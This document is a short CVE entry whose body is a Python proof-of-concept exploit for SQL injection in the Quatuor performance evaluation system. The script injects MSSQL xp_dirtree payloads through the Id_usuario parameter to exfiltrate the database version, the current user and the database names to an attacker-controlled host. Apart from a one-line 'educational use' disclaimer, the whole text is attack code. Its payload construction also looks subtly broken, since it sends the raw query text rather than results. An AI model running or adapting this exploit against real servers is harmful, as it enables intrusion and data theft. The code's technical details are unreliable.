CVE-2026-1478: Quatuor绩效评估系统SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2026-1478 - Quatuor Performance Evaluation SQL Injection PoC Note: This is for educational and authorized testing purposes only. """ import requests import urllib.parse TARGET_URL = "http://target-server/evaluacion_hca_evalua.aspx" ATTACKER_SERVER = "http://attacker-server/exfil" def build_oob_payload(sql_query): """ Build out-of-band SQL injection payload for MSSQL Uses xp_dirtree for DNS exfiltration """ # Encode SQL query and embed in DNS request encoded_query = sql_query.replace(" ", "+") # MSSQL OOB payload using xp_dirtree payload = f"';EXEC('xp_dirtree ''\\\\{encoded_query}.{ATTACKER_SERVER}''')--" return payload def exploit_sql_injection(): """ Exploit the SQL injection vulnerability """ # Example: Extract database version version_query = "SELECT @@VERSION" payload = build_oob_payload(version_query) params = { 'Id_usuario': payload, 'Id_evaluacion': '1' } print(f"[*] Sending malicious request to {TARGET_URL}") print(f"[*] Payload: {params['Id_usuario']}") try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[+] Request sent. Check {ATTACKER_SERVER} for exfiltrated data.") except requests.RequestException as e: print(f"[-] Request failed: {e}") def extract_database_info(): """ Extract database name using OOB technique """ queries = [ "SELECT DB_NAME()", # Current database name "SELECT user", # Current user "SELECT name FROM master..sysdatabases" # All databases ] for query in queries: payload = build_oob_payload(query) params = { 'Id_usuario': payload, 'Id_evaluacion': '1' } requests.get(TARGET_URL, params=params, timeout=5) print(f"[*] Sent query: {query}") if __name__ == "__main__": print("CVE-2026-1478 SQL Injection PoC") print("=" * 50) exploit_sql_injection()